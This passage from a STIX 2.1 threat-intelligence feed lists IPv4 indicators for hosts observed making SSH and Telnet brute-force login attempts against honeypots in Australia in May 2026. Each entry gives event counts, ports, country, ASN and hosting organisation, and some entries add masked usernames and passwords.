      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c7b04387-e955-458c-8421-23e81a059b4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.141.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, t**t, 3**********4, a***n, ***. Passwords observed (masked): 1****1, 1***5, 1******r, 1********b, 3***********4.",
      "id": "indicator--cc38327e-6aeb-4eed-bd86-0ea35410ed5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.35.205.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--5a25ee54-95e3-47c2-bead-e574ce6b4be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.131.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--04df7003-39cc-480b-9687-d44fe842c5c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.128.54.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group.",
      "id": "indicator--10c72c58-cbc4-419c-b2db-a15909ec18ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.120.2.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--909243b5-f6be-4fd0-b568-2da93da0d6b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.95.202.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): k***a. Passwords observed (masked): a******3.",
      "id": "indicator--3b0013e5-8462-4a60-9189-ec35f2d58dca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.112.183.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--e4ea6833-a1c8-4dce-95ad-f74f351fbc29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.37.74.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--1ecb4c30-07d7-4efc-8f69-76ad4373cc86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.206.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140292. Organisation(s): CHINATELECOM Jiangsu province Suzhou 5G network.",
      "id": "indicator--5ed7c2fe-5f6e-4280-b425-e70c9e134bb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.236.209.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a******n. Passwords observed (masked): a******n.",
      "id": "indicator--a4556d76-548f-4c5f-9eed-92448f0a5fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.199.225.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 8814. Organisation(s): Aztelekom LLC.",
      "id": "indicator--4335abc3-98f3-492b-9f35-19bb89313735",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.181.46.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--fdc244f4-377a-4300-bb24-2df680a7ceca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.129.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28126. Organisation(s): BRISANET SERVICOS DE TELECOMUNICACOES S.A.",
      "id": "indicator--82e16c6d-3348-4562-be5c-dd23261efd58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.19.252.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--61a20719-b4dd-4841-9e5a-740ff8391179",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.78.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--46f04cd7-e278-4c5f-8981-bc33756e7312",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.79.163.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc.",
      "id": "indicator--01418139-b662-4e85-934f-89b8eeaf0e1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.61.94.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--433c6bb2-c22f-4b06-a715-7e78d0cdd717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V..",
      "id": "indicator--e399d333-6598-4933-b341-5a4126f17160",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.171.10.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--935a9a91-2fbd-4db0-9185-826cd29342e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--594cc2ed-eeb5-4557-af64-49149f3635ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.135.73.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:15:10.000Z",
      "valid_until": "2026-06-10T07:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--18695819-dde3-4956-b0dd-53e9f92b3da1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.200.173.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): u****u, a***n, 3**********4, d******n, ***. Passwords observed (masked): 1****1, ***, 3***********4, 3**********4, P***********4.",
      "id": "indicator--880834e9-7107-455f-bc1e-035a79016967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.68.226.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6876. Organisation(s): TENET Scientific Production Enterprise LLC.",
      "id": "indicator--cbae37d7-b307-4b89-915d-b27d94cf34b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.0.60.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 79. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9a3bea61-2960-46c1-8f56-7ffd6ea3ecb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.209.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52783. Organisation(s): ALCANS TELECOM LTDA.",
      "id": "indicator--570858c2-df31-4b84-abb1-dcd2afbb5e65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.78.119.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--ea793af7-2a8b-46fd-be51-94dfe289fdcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.52.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 18734. Organisation(s): Operbes, S.A. de C.V..",
      "id": "indicator--25d422ca-f884-4c80-83e8-2e7b3ffc73e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.148.8.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--83ce17e1-71b5-4e71-9189-5d5a4b8a4d3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.14.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 144. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, H**********************3, C********3, C********7.",
      "id": "indicator--0e1083d6-d439-42ec-975b-cbb22adcd22c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.88.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--020ae1ea-d2ef-423b-97f1-08c654f7df35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.239.73.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--ddbb105a-c904-47f8-9af1-f8fa6ea56f66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.82.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:15:10.000Z",
      "valid_until": "2026-06-10T08:15:08.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): t***1. Passwords observed (masked): t********1.",
      "id": "indicator--1782b014-711b-4cef-8946-59ca573f50c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.161.222.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--90b3a423-27d7-4dc1-82cf-6f214790eee6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.169.221.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
